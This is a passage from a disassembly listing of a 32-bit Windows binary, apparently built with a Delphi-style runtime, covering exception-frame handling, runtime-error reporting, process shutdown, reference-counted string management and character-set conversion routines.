; ---------------------------------------------------------------------------


loc_20003B41:				; CODE XREF: CODE:20003B1Bj
		mov	al, 0D7h
		jmp	short loc_20003B5B
; ---------------------------------------------------------------------------


loc_20003B45:				; CODE XREF: CODE:20003AF5j
					; CODE:20003B15j
		mov	al, 0CEh
		jmp	short loc_20003B5B
; ---------------------------------------------------------------------------


loc_20003B49:				; CODE XREF: CODE:20003AEBj
		mov	al, 0D8h
		jmp	short loc_20003B5B
; ---------------------------------------------------------------------------


loc_20003B4D:				; CODE XREF: CODE:20003B0Ej
		mov	al, 0DAh
		jmp	short loc_20003B5B
; ---------------------------------------------------------------------------


loc_20003B51:				; CODE XREF: CODE:20003B29j
		mov	al, 0D9h
		jmp	short loc_20003B5B
; ---------------------------------------------------------------------------


loc_20003B55:				; CODE XREF: CODE:20003B24j
		mov	al, 0CAh
		jmp	short loc_20003B5B
; ---------------------------------------------------------------------------


loc_20003B59:				; CODE XREF: CODE:20003AF7j
					; CODE:20003B05j ...
		mov	al, 0FFh


loc_20003B5B:				; CODE XREF: CODE:20003B2Fj
					; CODE:20003B33j ...
		and	eax, 0FFh
		mov	edx, [edx+0Ch]
		call	sub_200026F8
; ---------------------------------------------------------------------------
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_20003B6C:				; DATA XREF: sub_20003C0C+Do
		mov	eax, [esp+4]
		test	dword ptr [eax+4], 6
		jnz	loc_20003C06
		cmp	ds:byte_20014024, 0
		ja	short loc_20003B95
		lea	eax, [esp+4]
		push	eax
		call	UnhandledExceptionFilter
		cmp	eax, 0
		jz	short loc_20003C06


loc_20003B95:				; CODE XREF: CODE:20003B84j
		mov	eax, [esp+4]
		cld
		call	sub_20003458
		mov	edx, [esp+8]
		push	0
		push	eax
		push	offset loc_20003BB2
		push	edx
		call	ds:dword_20015018


loc_20003BB2:				; DATA XREF: CODE:20003BA6o
		mov	ebx, [esp+4]
		cmp	dword ptr [ebx], 0EEDFADEh
		mov	edx, [ebx+14h]
		mov	eax, [ebx+18h]
		jz	short loc_20003BE1
		mov	edx, ds:dword_20015010
		test	edx, edx
		jz	loc_20003ACC
		mov	eax, ebx
		call	edx ; dword_20015010
		test	eax, eax
		jz	loc_20003ACC
		mov	edx, [ebx+0Ch]


loc_20003BE1:				; CODE XREF: CODE:20003BC2j
		call	sub_20003884
		mov	ecx, ds:dword_20015004
		test	ecx, ecx
		jz	short loc_20003BF2
		call	ecx ; dword_20015004


loc_20003BF2:				; CODE XREF: CODE:20003BEEj
		mov	ecx, [esp+4]
		mov	eax, 0D9h
		mov	edx, [ecx+14h]
		mov	[esp], edx
		jmp	sub_20003F9C
; ---------------------------------------------------------------------------


loc_20003C06:				; CODE XREF: CODE:20003B77j
					; CODE:20003B93j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20003C0C	proc near		; CODE XREF: sub_20003D14+2Ep
		xor	edx, edx
		lea	eax, [ebp-0Ch]
		mov	ecx, fs:[edx]
		mov	fs:[edx], eax
		mov	[eax], ecx
		mov	dword ptr [eax+4], offset loc_20003B6C
		mov	[eax+8], ebp
		mov	ds:dword_20015634, eax
		retn
sub_20003C0C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20003C2C	proc near		; CODE XREF: sub_20003EB8:loc_20003F42p
		xor	edx, edx
		mov	eax, ds:dword_20015634
		test	eax, eax
		jz	short locret_20003C53
		mov	ecx, fs:[edx]
		cmp	eax, ecx
		jnz	short loc_20003C46
		mov	eax, [eax]
		mov	fs:[edx], eax
		retn
; ---------------------------------------------------------------------------


loc_20003C44:				; CODE XREF: sub_20003C2C+21j
		mov	ecx, [ecx]


loc_20003C46:				; CODE XREF: sub_20003C2C+10j
		cmp	ecx, 0FFFFFFFFh
		jz	short locret_20003C53
		cmp	[ecx], eax
		jnz	short loc_20003C44
		mov	eax, [eax]
		mov	[ecx], eax

locret_20003C53:			; CODE XREF: sub_20003C2C+9j
					; sub_20003C2C+1Dj
		retn
sub_20003C2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20003C54	proc near		; CODE XREF: sub_20003C54+4Bp
					; sub_20003CB4+4Bp ...
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_20015630
		mov	eax, [edi+8]
		test	eax, eax
		jz	short loc_20003CAE
		mov	ebx, [edi+0Ch]
		mov	esi, [eax+4]
		xor	edx, edx
		push	ebp
		push	offset loc_20003C9A
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		test	ebx, ebx
		jle	short loc_20003C90


loc_20003C7E:				; CODE XREF: sub_20003C54+3Aj
		dec	ebx
		mov	[edi+0Ch], ebx
		mov	eax, [esi+ebx*8+4]
		test	eax, eax
		jz	short loc_20003C8C
		call	eax


loc_20003C8C:				; CODE XREF: sub_20003C54+34j
		test	ebx, ebx
		jg	short loc_20003C7E


loc_20003C90:				; CODE XREF: sub_20003C54+28j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_20003CAE
; ---------------------------------------------------------------------------


loc_20003C9A:				; DATA XREF: sub_20003C54+1Bo
		jmp	sub_200038A4
; ---------------------------------------------------------------------------
		call	sub_20003C54
		call	sub_20003A30
		call	sub_20003A84


loc_20003CAE:				; CODE XREF: sub_20003C54+10j
					; sub_20003C54+44j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_20003C54	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20003CB4	proc near		; CODE XREF: sub_20003D14+3Ap
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:dword_20015638
		test	eax, eax
		jz	short loc_20003D0E
		mov	esi, [eax]
		xor	ebx, ebx
		mov	edi, [eax+4]
		xor	edx, edx
		push	ebp
		push	offset loc_20003CFA
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	esi, ebx
		jle	short loc_20003CF0


loc_20003CDC:				; CODE XREF: sub_20003CB4+3Aj
		mov	eax, [edi+ebx*8]
		inc	ebx
		mov	ds:dword_2001563C, ebx
		test	eax, eax
		jz	short loc_20003CEC
		call	eax


loc_20003CEC:				; CODE XREF: sub_20003CB4+34j
		cmp	esi, ebx
		jg	short loc_20003CDC


loc_20003CF0:				; CODE XREF: sub_20003CB4+26j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_20003D0E
; ---------------------------------------------------------------------------


loc_20003CFA:				; DATA XREF: sub_20003CB4+19o
		jmp	sub_200038A4
; ---------------------------------------------------------------------------
		call	sub_20003C54
		call	sub_20003A30
		call	sub_20003A84


loc_20003D0E:				; CODE XREF: sub_20003CB4+Dj
					; sub_20003CB4+44j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_20003CB4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20003D14	proc near		; CODE XREF: sub_20005C4C+3Ap
		mov	ds:dword_20015014, offset RaiseException
		mov	ds:dword_20015018, offset RtlUnwind
		mov	ds:dword_20015638, eax
		xor	eax, eax
		mov	ds:dword_2001563C, eax
		mov	ds:dword_20015640, edx
		mov	eax, [edx+4]
		mov	ds:dword_2001502C, eax
		call	sub_20003C0C
		mov	ds:byte_20015034, 0
		call	sub_20003CB4
		retn
sub_20003D14	endp


; =============== S U B	R O U T	I N E =======================================



sub_20003D54	proc near		; CODE XREF: CODE:2000C11Bp
		push	ebx
		xor	ebx, ebx
		push	edi
		push	esi
		mov	edi, [eax+ebx]
		lea	esi, [eax+ebx+4]


loc_20003D60:				; CODE XREF: sub_20003D54+1Fj
		mov	eax, [esi+4]
		mov	edx, [esi]
		mov	eax, [eax+ebx]
		add	edx, ebx
		call	sub_20005994
		add	esi, 8
		dec	edi
		jnz	short loc_20003D60
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_20003D54	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20003D7C	proc near		; CODE XREF: CODE:2000C125p
		push	ebx
		xor	ebx, ebx
		push	edi
		push	esi
		mov	edi, [eax+ebx]
		lea	esi, [eax+ebx+4]


loc_20003D88:				; CODE XREF: sub_20003D7C+1Ej
		mov	eax, [esi+4]
		mov	edx, [esi]
		mov	eax, [eax+ebx]
		add	eax, [esi+8]
		mov	[edx+ebx], eax
		add	esi, 0Ch
		dec	edi
		jnz	short loc_20003D88
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_20003D7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_20003DA0	proc near		; CODE XREF: sub_20003EB8+38p
		push	ebx
		push	esi
		push	edi
		mov	esi, offset Text ; "Runtime error     at 00000000"
		mov	cl, 10h
		mov	ebx, ds:dword_20014000


loc_20003DB0:				; CODE XREF: sub_20003DA0+33j
		mov	eax, ebx
		mov	edi, 0Ah
		cdq
		idiv	edi
		add	dl, 30h
		xor	eax, eax
		mov	al, cl
		mov	[esi+eax], dl
		mov	eax, ebx
		mov	ebx, 0Ah
		cdq
		idiv	ebx
		mov	ebx, eax
		dec	ecx
		test	ebx, ebx
		jnz	short loc_20003DB0
		mov	cl, 1Ch
		mov	eax, ds:dword_20014004


loc_20003DDC:				; CODE XREF: sub_20003DA0+54j
		mov	edx, eax
		and	edx, 0Fh
		mov	dl, ds:byte_200140AC[edx]
		xor	ebx, ebx
		mov	bl, cl
		mov	[esi+ebx], dl
		shr	eax, 4
		dec	ecx
		test	eax, eax
		jnz	short loc_20003DDC
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_20003DA0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20003DFC	proc near		; CODE XREF: sub_20003EB8+9Ep
		xor	eax, eax
		xchg	eax, ds:dword_20014000
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edi, offset dword_20015630
		mov	ebx, [edi+18h]
		mov	ebp, [edi+14h]
		push	dword ptr [edi+1Ch]
		push	dword ptr [edi+20h]
		mov	esi, [edi]
		mov	ecx, 0Bh
		rep movsd
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_20003DFC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20003E2C	proc near		; CODE XREF: sub_20003EB8+3Dp

NumberOfBytesWritten= dword ptr	-4

		push	ecx
		cmp	ds:byte_20015044, 0
		jz	short loc_20003E8D
		cmp	ds:word_20015218, 0D7B2h
		jnz	short loc_20003E55
		cmp	ds:dword_20015220, 0
		jbe	short loc_20003E55
		mov	eax, offset dword_20015214
		call	ds:dword_20015230


loc_20003E55:				; CODE XREF: sub_20003E2C+13j
					; sub_20003E2C+1Cj
		push	0		; lpOverlapped
		lea	eax, [esp+8+NumberOfBytesWritten]
		push	eax		; lpNumberOfBytesWritten
		push	1Eh		; nNumberOfBytesToWrite
		push	offset Text	; "Runtime error     at	00000000"
		push	0FFFFFFF5h	; nStdHandle
		call	GetStdHandle
		push	eax		; hFile
		call	WriteFile
		push	0		; lpOverlapped
		lea	eax, [esp+8+NumberOfBytesWritten]
		push	eax		; lpNumberOfBytesWritten
		push	2		; nNumberOfBytesToWrite
		push	offset dword_20003EB4 ;	lpBuffer
		push	0FFFFFFF5h	; nStdHandle
		call	GetStdHandle
		push	eax		; hFile
		call	WriteFile
		pop	edx
		retn
; ---------------------------------------------------------------------------


loc_20003E8D:				; CODE XREF: sub_20003E2C+8j
		cmp	ds:byte_2001402C, 0
		jnz	short loc_20003EA9
		push	0		; uType
		push	offset Caption	; "Error"
		push	offset Text	; "Runtime error     at	00000000"
		push	0		; hWnd
		call	MessageBoxA


loc_20003EA9:				; CODE XREF: sub_20003E2C+68j
		pop	edx
		retn
sub_20003E2C	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 2
dword_20003EB4	dd 0A0Dh		; DATA XREF: sub_20003E2C+4Do

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_20003EB8	proc near		; CODE XREF: sub_20003F90+5p
					; CODE:200134B8p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, offset dword_20015630
		mov	esi, offset dword_20014000
		mov	edi, offset dword_20015040
		cmp	byte ptr [ebx+28h], 0
		jnz	short loc_20003EE7
		cmp	dword ptr [edi], 0
		jz	short loc_20003EE7


loc_20003ED6:				; CODE XREF: sub_20003EB8+2Dj
		mov	edx, [edi]
		mov	eax, edx
		xor	edx, edx
		mov	[edi], edx
		mov	ebp, eax
		call	ebp
		cmp	dword ptr [edi], 0
		jnz	short loc_20003ED6


loc_20003EE7:				; CODE XREF: sub_20003EB8+17j
					; sub_20003EB8+1Cj
		cmp	ds:dword_20014004, 0
		jz	short loc_20003F01
		call	sub_20003DA0
		call	sub_20003E2C
		xor	eax, eax
		mov	ds:dword_20014004, eax


loc_20003F01:				; CODE XREF: sub_20003EB8+36j
					; sub_20003EB8+CEj
		cmp	byte ptr [ebx+28h], 2
		jnz	short loc_20003F11
		cmp	dword ptr [esi], 0
		jnz	short loc_20003F11
		xor	eax, eax
		mov	[ebx+0Ch], eax


loc_20003F11:				; CODE XREF: sub_20003EB8+4Dj
					; sub_20003EB8+52j
		call	sub_20003C54
		cmp	byte ptr [ebx+28h], 1
		jbe	short loc_20003F21
		cmp	dword ptr [esi], 0
		jz	short loc_20003F42


loc_20003F21:				; CODE XREF: sub_20003EB8+62j
		mov	eax, [ebx+10h]
		test	eax, eax
		jz	short loc_20003F42
		call	sub_20005484
		mov	edx, [ebx+10h]
		mov	eax, [edx+10h]
		cmp	eax, [edx+4]
		jz	short loc_20003F42
		test	eax, eax
		jz	short loc_20003F42
		push	eax		; hLibModule
		call	FreeLibrary


loc_20003F42:				; CODE XREF: sub_20003EB8+67j
					; sub_20003EB8+6Ej ...
		call	sub_20003C2C
		cmp	byte ptr [ebx+28h], 1
		jnz	short loc_20003F50
		call	dword ptr [ebx+24h]


loc_20003F50:				; CODE XREF: sub_20003EB8+93j
		cmp	byte ptr [ebx+28h], 0
		jz	short loc_20003F5B
		call	sub_20003DFC


loc_20003F5B:				; CODE XREF: sub_20003EB8+9Cj
		cmp	dword ptr [ebx], 0
		jnz	short loc_20003F77
		cmp	ds:dword_20015024, 0
		jz	short loc_20003F6F
		call	ds:dword_20015024


loc_20003F6F:				; CODE XREF: sub_20003EB8+AFj
		mov	eax, [esi]
		push	eax		; uExitCode
		call	ExitProcess
; ---------------------------------------------------------------------------


loc_20003F77:				; CODE XREF: sub_20003EB8+A6j
		mov	eax, [ebx]
		push	esi
		mov	esi, eax
		mov	edi, ebx
		mov	ecx, 0Bh
		rep movsd
		pop	esi
		jmp	loc_20003F01
sub_20003EB8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_20003F90	proc near		; CODE XREF: sub_200026F8+6p
					; sub_20003F9C+6j
		mov	ds:dword_20014000, eax
		call	sub_20003EB8
sub_20003F90	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_20003F9C	proc near		; CODE XREF: sub_20002988+14j
					; sub_20003A08+9p ...
		pop	ds:dword_20014004
		jmp	sub_20003F90
sub_20003F9C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_20003FA8	proc near		; CODE XREF: sub_20002928+Fp
					; sub_20004098+23p ...
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_20003FCA
		mov	dword ptr [eax], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_20003FCA
		lock dec dword ptr [edx-8]
		jnz	short locret_20003FCA
		push	eax
		lea	eax, [edx-8]
		call	sub_20002688
		pop	eax

locret_20003FCA:			; CODE XREF: sub_20003FA8+4j
					; sub_20003FA8+10j ...
		retn
sub_20003FA8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20003FCC	proc near		; CODE XREF: sub_2000493C+56p
					; sub_20008C00+77Bp ...
		push	ebx
		push	esi
		mov	ebx, eax
		mov	esi, edx


loc_20003FD2:				; CODE XREF: sub_20003FCC+2Aj
		mov	edx, [ebx]
		test	edx, edx
		jz	short loc_20003FF2
		mov	dword ptr [ebx], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short loc_20003FF2
		lock dec dword ptr [edx-8]
		jnz	short loc_20003FF2
		lea	eax, [edx-8]
		call	sub_20002688


loc_20003FF2:				; CODE XREF: sub_20003FCC+Aj
					; sub_20003FCC+16j ...
		add	ebx, 4
		dec	esi
		jnz	short loc_20003FD2
		pop	esi
		pop	ebx
		retn
sub_20003FCC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20003FFC	proc near		; CODE XREF: sub_2000424C+8j
					; sub_20004290+6j ...
		test	edx, edx
		jz	short loc_20004024
		mov	ecx, [edx-8]
		inc	ecx
		jg	short loc_20004020
		push	eax
		push	edx
		mov	eax, [edx-4]
		call	sub_2000406C
		mov	edx, eax
		pop	eax
		push	edx
		mov	ecx, [eax-4]
		call	sub_200027FC
		pop	edx
		pop	eax
		jmp	short loc_20004024
; ---------------------------------------------------------------------------


loc_20004020:				; CODE XREF: sub_20003FFC+8j
		lock inc dword ptr [edx-8]


loc_20004024:				; CODE XREF: sub_20003FFC+2j
					; sub_20003FFC+22j
		xchg	edx, [eax]
		test	edx, edx
		jz	short locret_2000403E
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_2000403E
		lock dec dword ptr [edx-8]
		jnz	short locret_2000403E
		lea	eax, [edx-8]
		call	sub_20002688

locret_2000403E:			; CODE XREF: sub_20003FFC+2Cj
					; sub_20003FFC+32j ...
		retn
sub_20003FFC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_20004040	proc near		; CODE XREF: sub_20008990+58p
					; sub_20008AF8+57p ...
		test	edx, edx
		jz	short loc_2000404E
		mov	ecx, [edx-8]
		inc	ecx
		jle	short loc_2000404E
		lock inc dword ptr [edx-8]


loc_2000404E:				; CODE XREF: sub_20004040+2j
					; sub_20004040+8j
		xchg	edx, [eax]
		test	edx, edx
		jz	short locret_20004068
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_20004068
		lock dec dword ptr [edx-8]
		jnz	short locret_20004068
		lea	eax, [edx-8]
		call	sub_20002688

locret_20004068:			; CODE XREF: sub_20004040+12j
					; sub_20004040+18j ...
		retn
sub_20004040	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000406C	proc near		; CODE XREF: sub_20003FFC+Fp
					; sub_20004098+Bp ...
		test	eax, eax
		jle	short loc_20004094
		push	eax
		add	eax, 0Ah
		and	eax, 0FFFFFFFEh
		push	eax
		call	sub_20002668
		pop	edx
		mov	word ptr [edx+eax-2], 0
		add	eax, 8
		pop	edx
		mov	[eax-4], edx
		mov	dword ptr [eax-8], 1
		retn
; ---------------------------------------------------------------------------


loc_20004094:				; CODE XREF: sub_2000406C+2j
		xor	eax, eax
		retn
sub_2000406C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20004098	proc near		; CODE XREF: sub_20002928+2Fp
					; sub_20004104+4Ep ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		mov	eax, edi
		call	sub_2000406C
		mov	ecx, edi
		mov	edi, eax
		test	esi, esi
		jz	short loc_200040B9
		mov	edx, eax
		mov	eax, esi
		call	sub_200027FC


loc_200040B9:				; CODE XREF: sub_20004098+16j
		mov	eax, ebx
		call	sub_20003FA8
		mov	[ebx], edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_20004098	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_200040C8(LPCWSTR lpWideCharStr, int cbMultiByte, int cchWideChar)

sub_200040C8	proc near		; CODE XREF: sub_20004104+3Bp
					; sub_20004104+6Bp

cchWideChar	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0		; lpUsedDefaultChar
		push	0		; lpDefaultChar
		push	edx		; cbMultiByte
		push	eax		; lpMultiByteStr
		mov	eax, [ebp+cchWideChar]
		push	eax		; cchWideChar
		push	ecx		; lpWideCharStr
		push	0		; dwFlags
		mov	eax, ds:CodePage
		push	eax		; CodePage
		call	WideCharToMultiByte
		pop	ebp
		retn	4
sub_200040C8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_200040E8(LPCSTR lpMultiByteStr, int cchWideChar, int cbMultiByte)

sub_200040E8	proc near		; CODE XREF: sub_200046C4+3Bp
					; sub_200046C4+69p

cbMultiByte	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edx		; cchWideChar
		push	eax		; lpWideCharStr
		mov	eax, [ebp+cbMultiByte]
		push	eax		; cbMultiByte
		push	ecx		; lpMultiByteStr
		push	0		; dwFlags
		mov	eax, ds:CodePage
		push	eax		; CodePage
		call	MultiByteToWideChar
		pop	ebp
		retn	4
sub_200040E8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================


; int __fastcall sub_20004104(int cchWideChar)

sub_20004104	proc near		; CODE XREF: sub_200041D0:loc_20004203j
					; sub_20004230:loc_2000423Bj

lpWideCharStr	= dword	ptr -1014h
var_1010	= byte ptr -1010h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFF004h
		push	eax
		add	esp, 0FFFFFFFCh
		mov	esi, ecx
		mov	[esp+1014h+lpWideCharStr], edx
		mov	edi, eax
		test	esi, esi
		jg	short loc_20004126
		mov	eax, edi
		call	sub_20003FA8
		jmp	short loc_20004185
; ---------------------------------------------------------------------------


loc_20004126:				; CODE XREF: sub_20004104+17j
		lea	ebp, [esi+1]
		cmp	ebp, 7FFh
		jge	short loc_20004159
		push	esi		; cchWideChar
		lea	eax, [esp+1018h+var_1010]
		mov	ecx, [esp+1018h+lpWideCharStr] ; lpWideCharStr
		mov	edx, 0FFFh	; cbMultiByte
		call	sub_200040C8
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_20004159
		lea	edx, [esp+1014h+var_1010]
		mov	eax, edi
		mov	ecx, ebx
		call	sub_20004098
		jmp	short loc_20004185
; ---------------------------------------------------------------------------


loc_20004159:				; CODE XREF: sub_20004104+2Bj
					; sub_20004104+44j
		mov	ebx, ebp
		add	ebx, ebx
		mov	eax, edi
		mov	edx, ebx
		call	sub_200045D0
		push	esi		; cchWideChar
		mov	eax, [edi]
		mov	ecx, [esp+1018h+lpWideCharStr] ; lpWideCharStr
		mov	edx, ebx	; cbMultiByte
		call	sub_200040C8
		mov	ebx, eax
		test	ebx, ebx
		jge	short loc_2000417C
		xor	ebx, ebx


loc_2000417C:				; CODE XREF: sub_20004104+74j
		mov	eax, edi
		mov	edx, ebx
		call	sub_200045D0


loc_20004185:				; CODE XREF: sub_20004104+20j
					; sub_20004104+53j
		add	esp, 1004h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_20004104	endp


; =============== S U B	R O U T	I N E =======================================



sub_20004190	proc near		; CODE XREF: sub_2000A060+8Dp
					; sub_2000A060+190p ...
		push	edx
		mov	edx, esp
		mov	ecx, 1
		call	sub_20004098
		pop	edx
		retn
sub_20004190	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_200041A0	proc near		; CODE XREF: sub_20005994+48p
					; sub_20008990+10Dp ...
		xor	ecx, ecx
		test	edx, edx
		jz	short loc_200041C7
		push	edx


loc_200041A7:				; CODE XREF: sub_200041A0+1Dj
		cmp	cl, [edx]
		jz	short loc_200041C2
		cmp	cl, [edx+1]
		jz	short loc_200041C1
		cmp	cl, [edx+2]
		jz	short loc_200041C0
		cmp	cl, [edx+3]
		jz	short loc_200041BF
		add	edx, 4
		jmp	short loc_200041A7
; ---------------------------------------------------------------------------


loc_200041BF:				; CODE XREF: sub_200041A0+18j
		inc	edx


loc_200041C0:				; CODE XREF: sub_200041A0+13j
		inc	edx


loc_200041C1:				; CODE XREF: sub_200041A0+Ej
		inc	edx


loc_200041C2:				; CODE XREF: sub_200041A0+9j
		mov	ecx, edx
		pop	edx
		sub	ecx, edx


loc_200041C7:				; CODE XREF: sub_200041A0+4j
		jmp	sub_20004098
sub_200041A0	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_200041D0	proc near		; CODE XREF: sub_2000DD44+3E5p
					; DATA XREF: sub_200079D6:loc_20007B08o
		xor	ecx, ecx
		test	edx, edx
		jz	short loc_20004203
		push	edx


loc_200041D7:				; CODE XREF: sub_200041D0+21j
		cmp	cx, [edx]
		jz	short loc_200041FC
		cmp	cx, [edx+2]
		jz	short loc_200041F9
		cmp	cx, [edx+4]
		jz	short loc_200041F6
		cmp	cx, [edx+6]
		jz	short loc_200041F3
		add	edx, 8
		jmp	short loc_200041D7
; ---------------------------------------------------------------------------


loc_200041F3:				; CODE XREF: sub_200041D0+1Cj
		add	edx, 2


loc_200041F6:				; CODE XREF: sub_200041D0+16j
		add	edx, 2


loc_200041F9:				; CODE XREF: sub_200041D0+10j
		add	edx, 2


loc_200041FC:				; CODE XREF: sub_200041D0+Aj
		mov	ecx, edx
		pop	edx
		sub	ecx, edx
		shr	ecx, 1


loc_20004203:				; CODE XREF: sub_200041D0+4j
		jmp	sub_20004104
sub_200041D0	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000420C	proc near		; CODE XREF: sub_2000EB50+B8p
					; sub_2001028C+3Cp ...
		xor	ecx, ecx
		mov	cl, [edx]
		inc	edx
		jmp	sub_20004098
sub_2000420C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20004218	proc near		; CODE XREF: sub_200059EC+36p
					; sub_20008990+98p ...
		push	edi
		push	eax
		push	ecx
		mov	edi, edx
		xor	eax, eax
		repne scasb
		jnz	short loc_20004225
		not	ecx


loc_20004225:				; CODE XREF: sub_20004218+9j
		pop	eax
		add	ecx, eax
		pop	eax
		pop	edi
		jmp	sub_20004098
sub_20004218	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_20004230	proc near		; CODE XREF: sub_2000C1F0+2Ap
					; sub_2000C25C+2Ap ...
		xor	ecx, ecx
		test	edx, edx
		jz	short loc_2000423B
		mov	ecx, [edx-4]
		shr	ecx, 1


loc_2000423B:				; CODE XREF: sub_20004230+4j
		jmp	sub_20004104
sub_20004230	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20004244	proc near		; CODE XREF: sub_20002BFC+3Ep
					; sub_20002BFC+56p ...
		test	eax, eax
		jz	short locret_2000424B
		mov	eax, [eax-4]

locret_2000424B:			; CODE XREF: sub_20004244+2j
		retn
sub_20004244	endp


; =============== S U B	R O U T	I N E =======================================



sub_2000424C	proc near		; CODE XREF: sub_20004290+1Dj
					; sub_20004290+6Ej ...
		test	edx, edx
		jz	short locret_2000428F
		mov	ecx, [eax]
		test	ecx, ecx
		jz	sub_20003FFC
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, [ecx-4]
		mov	edx, [esi-4]
		add	edx, edi
		cmp	esi, ecx
		jz	short loc_20004284
		call	sub_200045D0
		mov	eax, esi
		mov	ecx, [esi-4]


loc_20004277:				; CODE XREF: sub_2000424C+41j
		mov	edx, [ebx]
		add	edx, edi
		call	sub_200027FC
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_20004284:				; CODE XREF: sub_2000424C+1Fj
		call	sub_200045D0
		mov	eax, [ebx]
		mov	ecx, edi
		jmp	short loc_20004277
; ---------------------------------------------------------------------------

locret_2000428F:			; CODE XREF: sub_2000424C+2j
		retn
sub_2000424C	endp


; =============== S U B	R O U T	I N E =======================================



sub_20004290	proc near		; CODE XREF: sub_2000EB50+E2p
					; sub_2000EB50+F5p ...
		test	edx, edx
		jz	short loc_200042F5
		test	ecx, ecx
		jz	sub_20003FFC
		cmp	edx, [eax]
		jz	short loc_200042FC
		cmp	ecx, [eax]
		jz	short loc_200042B2
		push	eax
		push	ecx
		call	sub_20003FFC
		pop	edx
		pop	eax
		jmp	sub_2000424C
; ---------------------------------------------------------------------------


loc_200042B2:				; CODE XREF: sub_20004290+12j
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		mov	esi, ecx
		push	eax
		mov	eax, [ebx-4]
		add	eax, [esi-4]
		call	sub_2000406C
		mov	edi, eax
		mov	edx, eax
		mov	eax, ebx
		mov	ecx, [ebx-4]
		call	sub_200027FC
		mov	edx, edi
		mov	eax, esi
		mov	ecx, [esi-4]
		add	edx, [ebx-4]
		call	sub_200027FC
		pop	eax
		mov	edx, edi
		test	edi, edi
		jz	short loc_200042EC
		dec	dword ptr [edi-8]


